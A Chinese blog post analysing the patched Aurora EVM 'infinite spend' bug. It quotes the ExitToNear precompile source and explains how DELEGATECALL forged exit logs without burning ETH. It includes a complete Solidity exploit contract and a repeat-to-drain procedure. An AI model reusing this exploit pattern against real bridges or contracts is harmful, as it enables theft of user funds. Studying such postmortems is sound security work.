Aurora EVM 最初由 NEAR 内部开发,是 NEAR 生态系统的官方 EVM。它实现了与以太坊协议的 1:1 体验,包括采用 ETH 作为基础货币。除了基本范围之外,EVM 还允许进行额外的预编译。此类预编译使 EVM 能够与 NEAR 生态系统的其余部分进行交互。其中包括exitToNear和exitToEthereum(只能通过 NEP-141 到 ERC-20 合约 访问)。
exitToNear、exitToEthereum预编译只能从 Aurora EVM 自部署的 NEP-141 映射 ERC-20 合约中调用 。这些 ERC-20 合约是通过调用deploy_erc20_token函数来部署的。 https://doc.aurora.dev/evm/precompiles
其中Aurora EVM转移 代币到Near或着以太坊是以下两个预编译地址 :
0xe9217bc70b7ed1f598ddd3199e80b093fa71124f 将 ETH 或 NEP-141 映射的 ERC-20 代币作为 NEP-141 从 Aurora EVM 转移到 Near。
0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab 通过Rainbow Bridge将 ETH 或 NEP-141 映射的 ERC-20 代币从 Aurora EVM 转移到以太坊。
当flag是0x0时,Eth transfer
当flag是0x1时,Erc20 transfer
转移Erc20比转移Eth时,多了一步销毁的动作,这里将是问题的关键。
在上图代码转移Erc20代币前,会先销毁代币,逻辑上没有问题。接下来看下转移Eth时的逻辑。
exitToNear、exitToEthereum预编译的作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 impl ExitToNear { /// Exit to NEAR precompile address /// /// Address: `0xe9217bc70b7ed1f598ddd3199e80b093fa71124f` /// This address is computed as: `&keccak("exitToNear")[12..]` pub const ADDRESS: Address = super::make_address(0xe9217bc7, 0x0b7ed1f598ddd3199e80b093fa71124f); pub fn new(current_account_id: AccountId) -> Self { Self { current_account_id } } } ... impl Precompile for ExitToNear { ... let (nep141_address, args, exit_event) = match flag { 0x0 => { // ETH transfer // // Input slice format: // recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens if let Ok(dest_account) = AccountId::try_from(input) { ( current_account_id, // There is no way to inject json, given the encoding of both arguments // as decimal and valid account id respectively. format!( r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#, dest_account, context.apparent_value.as_u128() ), events::ExitToNear { sender: Address::new(context.caller), erc20_address: events::ETH_ADDRESS, dest: dest_account.to_string(), amount: context.apparent_value, }, ) } else { return Err(ExitError::Other(Cow::from( "ERR_INVALID_RECEIVER_ACCOUNT_ID", ))); } ... let transfer_promise = PromiseCreateArgs { target_account_id: nep141_address, method: "ft_transfer".to_string(), args: args.as_bytes().to_vec(), attached_balance: Yocto::new(1), attached_gas: costs::FT_TRANSFER_GAS, }; #[cfg(feature = "error_refund")] let promise = PromiseArgs::Callback(PromiseWithCallbackArgs { base: transfer_promise, callback: refund_promise, }); #[cfg(not(feature = "error_refund"))] let promise = PromiseArgs::Create(transfer_promise); let promise_log = Log { address: Self::ADDRESS.raw(), topics: Vec::new(), data: promise.try_to_vec().unwrap(), }; let exit_event_log = exit_event.encode(); let exit_event_log = Log { address: Self::ADDRESS.raw(), topics: exit_event_log.topics, data: exit_event_log.data, }; Ok(PrecompileOutput { logs: vec![promise_log, exit_event_log], ..Default::default() } .into())
如果标志是0x0,将生成 一个事件“ExitToNear”,记录这个出口的“sender”,“dest”和“amount”,然后返回包含事件信息的’ exit_event_log ‘。
这些日志以及执行期间的所有其他日志将由’ filter_promises_from_logs ‘检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 fn filter_promises_from_logs<T, P>(handler: &mut P, logs: T) -> Vec<ResultLog> where T: IntoIterator<Item = Log>, P: PromiseHandler, { logs.into_iter() .filter_map(|log| { if log.address == ExitToNear::ADDRESS.raw() || log.address == ExitToEthereum::ADDRESS.raw() { if log.topics.is_empty() { if let Ok(promise) = PromiseArgs::try_from_slice(&log.data) { match promise { PromiseArgs::Create(promise) => schedule_promise(handler, &promise), PromiseArgs::Callback(promise) => { let base_id = schedule_promise(handler, &promise.base); schedule_promise_callback(handler, base_id, &promise.callback) } }; }
只要使用硬编码地址生成日志ExitTo(Near|Ethereum)::ADDRESS,log.data就会将其作为要安排的新承诺进行处理。
因为log在AUrora上的验证只需要满足“是否由内置合约地址生成”以及“msg.value是否大于0“即可通过验证。
第一个条件时天然达成的。
要达成第二个条件,在这里利用DELEGATECALL来代替CALL进行调用合约(Aurora只禁用了STATICCALL却没有禁用DELEGATECALL)。
DELEGATECALL与CALL的区别如下图
当使用DELEGATECALL调用时,msg.data/msg.value只会进行值传递,却不会变化拥有者。
所以这个漏洞的利用链就成熟了,如下:
1. 在Aurora上部署恶意合约,通过DELEGATECALL去调用ExitToNear(0xe9217bc70b7ed1f598ddd3199e80b093fa71124f内置合约地址)2. 调用下述恶意代码,Aurora将被诱骗向Near上的调用方发送nETH,但是却不会销毁发起合约的代币,从而实现窃取 Exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; contract Exploit { address payable private owner; constructor() { owner = payable(msg.sender); } function exploit(bytes memory recipient) public payable { require(msg.sender == owner); bytes memory input = abi.encodePacked("\x00", recipient); uint input_size = 1 + recipient.length; assembly { let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32) } owner.transfer(msg.value); } }
3. 要保证恶意合约初始有部分余额,然后通过窃取-转回-再窃取的循环,指数爆炸,最终实现窃取所有代币 https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d https://pwning.mirror.xyz/CB4XUkbJVwPo7CaRwRmCApaP2DMjPQccW-NOcCwQlAs
还没有评论,来说两句吧...